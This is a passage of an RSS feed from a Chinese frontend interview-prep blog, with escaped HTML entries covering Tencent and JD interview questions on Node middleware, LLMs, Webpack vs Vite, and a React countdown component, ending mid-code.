&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;counter&lt;/span&gt;()); &lt;span style="color:#75715e"&gt;// 2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h2 id="question-subjective-b79de4be96a2"&gt;4. 闭包内存问题及解决方案&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;引用保持、垃圾回收阻塞、手动清理、变量提取&lt;/p&gt;</description></item><item><title>腾讯-CSIG一校招 · 第 1 轮 · 第二轮</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-66/round-109/</link><pubDate>Mon, 28 Jul 2025 14:52:54 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-66/round-109/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-66/round-108/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-66/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮概述：&lt;/strong&gt; 第二轮对技术深度有一定的考察。
对构建工具有深入理解，能够分析技术选型原因
掌握React核心概念和性能优化技巧
具备网络协议和安全知识
代码实现能力强，能够设计合理的算法和架构
理解设计模式在实际场景中的应用&lt;/p&gt;
&lt;p&gt;本轮共 14 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-f1c0f4f71588"&gt;1. Node中间件的作用和使用&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;请求拦截处理、横切关注点、链式执行、功能解耦&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;中间件是在请求和响应之间执行的函数，用于处理横切关注点。在Express/Nest.js中，中间件按顺序执行，每个中间件可以修改请求对象、响应对象，或者终止请求-响应循环。&lt;/p&gt;
&lt;p&gt;常用的中间件包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;身份验证中间件：验证用户token&lt;/li&gt;
&lt;li&gt;日志中间件：记录请求信息&lt;/li&gt;
&lt;li&gt;错误处理中间件：统一处理异常&lt;/li&gt;
&lt;li&gt;CORS中间件：处理跨域请求&lt;/li&gt;
&lt;li&gt;参数验证中间件：验证请求参数格式&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-c12bd009cf82"&gt;2. 大模型的理解和应用&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;语言模型、涌现能力、开发辅助、安全考虑&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;大模型是基于Transformer架构的深度学习模型，通过大规模数据训练获得强大的语言理解和生成能力。主要特点是参数量巨大、涌现能力强、通用性好。&lt;/p&gt;
&lt;p&gt;在开发中的应用：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;代码生成和补全：提高开发效率&lt;/li&gt;
&lt;li&gt;文档生成：自动生成API文档和注释&lt;/li&gt;
&lt;li&gt;代码审查：发现潜在问题和优化建议&lt;/li&gt;
&lt;li&gt;需求分析：辅助理解业务逻辑&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;使用时需要注意数据安全、结果准确性验证、成本控制等问题。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-0ea3ab62cd5f"&gt;3. Webpack vs Vite 的理解和区别&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;构建原理差异、性能表现、生态成熟度、配置复杂度&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;Webpack是基于模块打包的构建工具，通过入口文件分析依赖关系，将所有资源打包成bundle。Vite是基于ES模块的构建工具，开发时利用浏览器原生ES模块支持，生产时使用Rollup打包。&lt;/p&gt;
&lt;p&gt;主要区别：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;启动速度&lt;/strong&gt;：Vite利用ES模块按需加载，启动更快；Webpack需要预先打包&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;热更新&lt;/strong&gt;：Vite基于ES模块的HMR更精确；Webpack需要重新打包相关模块&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生态系统&lt;/strong&gt;：Webpack生态更成熟，插件丰富；Vite相对较新但发展迅速&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置复杂度&lt;/strong&gt;：Vite开箱即用，配置简单；Webpack配置相对复杂&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-29f2b86eee7f"&gt;4. 项目选择构建工具的考虑&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;开发体验优先、项目延续性、团队熟悉度、稳定性考虑&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;个人项目选择Vite主要考虑开发体验，启动快、热更新迅速，配置简单，适合快速原型开发。实习项目使用Webpack主要因为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;历史项目延续性，已有完整的配置和工作流&lt;/li&gt;
&lt;li&gt;团队熟悉度高，维护成本低&lt;/li&gt;
&lt;li&gt;生态系统成熟，特殊需求的插件支持更好&lt;/li&gt;
&lt;li&gt;大型项目的稳定性考虑&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-4d144b12214f"&gt;5. Vite 开发环境与生产环境差异&lt;/h2&gt;
&lt;h3 id="题目要点-4"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;按需加载vs完整打包、开发体验vs生产优化、不同构建工具&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;开发环境：&lt;/p&gt;</description></item><item><title>京东-零售-实习 · 第 1 轮 · 第一轮</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-65/round-107/</link><pubDate>Mon, 28 Jul 2025 14:15:34 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-65/round-107/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-65/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮概述：&lt;/strong&gt; 主要考察前端基础，难度不大。&lt;/p&gt;
&lt;p&gt;本轮共 14 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-12b75c445924"&gt;1. 自我介绍&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;突出专业背景、技术栈掌握情况、学习能力和求职意向，简洁明了地展现个人优势。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;本科就读于XXX大学计算机科学与技术专业，在校期间系统学习了前端开发相关技术栈，包括HTML、CSS、JavaScript基础，以及React、Vue等现代框架。通过课程项目和个人实践，积累了一定的开发经验。&lt;/p&gt;
&lt;p&gt;在技术方面，熟练掌握ES6+语法、响应式布局、组件化开发思想，了解前端工程化工具如Webpack、Vite的使用。同时对前端性能优化、用户体验提升有一定认识。&lt;/p&gt;
&lt;p&gt;学习能力较强，能够快速适应新技术和开发环境，具备良好的问题分析和解决能力。希望能够加入贵公司，在实际项目中进一步提升技术水平，为团队贡献价值。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-68717ac93ae3"&gt;2. 说一说做过的项目中的难点和亮点&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;通过具体的技术难题展现问题解决能力，用数据量化优化效果，体现技术深度和实践价值。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;&lt;strong&gt;难点：&lt;/strong&gt; 在开发电商类项目时，遇到了商品列表的性能问题。当商品数据量达到几千条时，页面渲染明显卡顿。通过分析发现是频繁的DOM操作和重复渲染导致的。&lt;/p&gt;
&lt;p&gt;解决方案是实现了虚拟滚动技术，只渲染可视区域内的商品项，配合防抖优化搜索功能，最终将首屏渲染时间从3秒优化到800毫秒。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;亮点：&lt;/strong&gt; 设计了一套可复用的表单验证组件库。通过高阶组件模式封装了常见的验证逻辑，支持链式调用和自定义验证规则。这套组件在后续项目中被多次复用，提高了开发效率约30%。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-2c9499a66d1c"&gt;3. 手写秒杀倒计时组件&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;实现了完整的倒计时功能，包括时间计算、格式化显示、状态管理和生命周期处理，考虑了边界情况和用户体验。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;use client&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;React&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;react&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;useState&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;useEffect&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;useCallback&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;react&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;interface&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;CountdownProps&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;targetTimestamp&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;number&lt;/span&gt; &lt;span style="color:#75715e"&gt;// 目标时间戳（毫秒）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;onEnd&lt;/span&gt;&lt;span style="color:#f92672"&gt;?:&lt;/span&gt; () =&amp;gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#75715e"&gt;// 倒计时结束回调
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;interface&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;TimeLeft&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;days&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;number&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;hours&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;number&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;minutes&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;number&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;seconds&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;number&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Countdown&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;React&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;FC&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;CountdownProps&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; ({ &lt;span style="color:#a6e22e"&gt;targetTimestamp&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;onEnd&lt;/span&gt; }) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; [&lt;span style="color:#a6e22e"&gt;timeLeft&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;setTimeLeft&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;useState&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;TimeLeft&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;({ &lt;span style="color:#a6e22e"&gt;days&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;hours&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;minutes&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;seconds&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; [&lt;span style="color:#a6e22e"&gt;isActive&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;setIsActive&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;useState&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;calculateTimeLeft&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;useCallback&lt;/span&gt;(()&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;TimeLeft&lt;/span&gt; =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;now&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Date.&lt;span style="color:#a6e22e"&gt;now&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;difference&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;targetTimestamp&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;now&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;difference&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;setIsActive&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;onEnd&lt;/span&gt;&lt;span style="color:#f92672"&gt;?&lt;/span&gt;.()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;days&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;hours&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;minutes&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;seconds&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;days&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Math.&lt;span style="color:#a6e22e"&gt;floor&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;difference&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;60&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;60&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;hours&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Math.&lt;span style="color:#a6e22e"&gt;floor&lt;/span&gt;((&lt;span style="color:#a6e22e"&gt;difference&lt;/span&gt; &lt;span style="color:#f92672"&gt;%&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;60&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;60&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;)) &lt;span style="color:#f92672"&gt;/&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;60&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;60&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;minutes&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Math.&lt;span style="color:#a6e22e"&gt;floor&lt;/span&gt;((&lt;span style="color:#a6e22e"&gt;difference&lt;/span&gt; &lt;span style="color:#f92672"&gt;%&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;60&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;60&lt;/span&gt;)) &lt;span style="color:#f92672"&gt;/&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;60&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;seconds&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Math.&lt;span style="color:#a6e22e"&gt;floor&lt;/span&gt;((&lt;span style="color:#a6e22e"&gt;difference&lt;/span&gt; &lt;span style="color:#f92672"&gt;%&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;60&lt;/span&gt;)) &lt;span style="color:#f92672"&gt;/&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;days&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;hours&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;minutes&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;seconds&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }, [&lt;span style="color:#a6e22e"&gt;targetTimestamp&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;onEnd&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;useEffect&lt;/span&gt;(() =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;isActive&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;timer&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;setInterval&lt;/span&gt;(() =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;setTimeLeft&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;calculateTimeLeft&lt;/span&gt;())
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }, &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 初始化时立即计算一次
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;setTimeLeft&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;calculateTimeLeft&lt;/span&gt;())
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; () =&amp;gt; &lt;span style="color:#a6e22e"&gt;clearInterval&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;timer&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }, [&lt;span style="color:#a6e22e"&gt;calculateTimeLeft&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;isActive&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;formatNumber&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;num&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;number&lt;/span&gt;)&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;string&lt;/span&gt; =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;num&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;toString&lt;/span&gt;().&lt;span style="color:#a6e22e"&gt;padStart&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;isActive&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;countdown-container&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
